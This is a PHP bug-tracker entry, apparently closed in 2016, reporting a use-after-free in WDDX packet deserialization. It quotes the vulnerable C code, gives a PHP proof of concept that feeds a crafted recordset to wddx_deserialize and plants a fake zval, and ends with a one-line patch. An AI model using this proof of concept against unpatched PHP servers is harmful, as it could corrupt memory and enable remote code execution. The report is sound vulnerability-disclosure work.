|
php.net | support | documentation | report a bug | advanced search | search howto | statistics | random bug | login |
PatchesPull RequestsHistoryAllCommentsChangesGit/SVN commits
[2015-12-28 22:47 UTC] stas@php.net
-Assigned To:
+Assigned To: stas
[2015-12-28 22:47 UTC] stas@php.net
[2016-01-06 03:17 UTC] stas@php.net
-Status: Assigned
+Status: Closed
[2016-01-06 03:17 UTC] stas@php.net
[2016-01-06 03:38 UTC] stas@php.net
[2016-01-06 06:34 UTC] ab@php.net
[2016-01-06 06:34 UTC] ab@php.net
[2016-01-06 06:34 UTC] ab@php.net
[2016-01-06 06:34 UTC] ab@php.net
[2016-01-06 06:35 UTC] ab@php.net
[2016-02-02 10:54 UTC] korvin1986 at gmail dot com
[2016-07-20 11:34 UTC] davey@php.net
|
|||||||||||||||||||||||||||
Copyright © 2001-2025 The PHP GroupAll rights reserved. |
Last updated: Sun Oct 26 18:00:01 2025 UTC |
Description: ------------ ``` if (Z_TYPE_P(ent2->data) == IS_ARRAY || Z_TYPE_P(ent2->data) == IS_OBJECT) { target_hash = HASH_OF(ent2->data); if (ent1->varname) { if (!strcmp(ent1->varname, PHP_CLASS_NAME_VAR) && Z_TYPE_P(ent1->data) == IS_STRING && Z_STRLEN_P(ent1->data)) { ... /* Clean up old array entry */ zval_ptr_dtor(&ent2->data); /* Set stack entry to point to the newly created object */ ent2->data = obj; /* Clean up class name var entry */ zval_ptr_dtor(&ent1->data); ``` in during wddx packet deserialization, the zval_ptr_dtor() lead ZVAL is freed from the memory, however a crafted recordset can still use already freed memory. it is possible to use-after-free attack and execute arbitrary code remotely PoC: ``` <?php $fakezval = ptr2str(1122334455); $fakezval .= ptr2str(0); $fakezval .= "\x00\x00\x00\x00"; $fakezval .= "\x01"; $fakezval .= "\x00"; $fakezval .= "\x00\x00"; $x = <<<EOT <?xml version='1.0'?> <wddxPacket version='1.0'> <header/> <data> <struct> <recordset rowCount='1' fieldNames='ryat'> <field name='ryat'> <var name='php_class_name'> <string>stdClass</string> </var> <null/> </field> </recordset> </struct> </data> </wddxPacket> EOT; $y = wddx_deserialize($x); for ($i = 0; $i < 5; $i++) { $v[$i] = $fakezval.$i; } var_dump($y); function ptr2str($ptr) { $out = ''; for ($i = 0; $i < 8; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; } ?> ``` fix ``` if (ent1->varname) { if (!strcmp(ent1->varname, PHP_CLASS_NAME_VAR) && - Z_TYPE_P(ent1->data) == IS_STRING && Z_STRLEN_P(ent1->data)) { + Z_TYPE_P(ent1->data) == IS_STRING && Z_STRLEN_P(ent1->data) && ent2->type == ST_STRUCT) { ```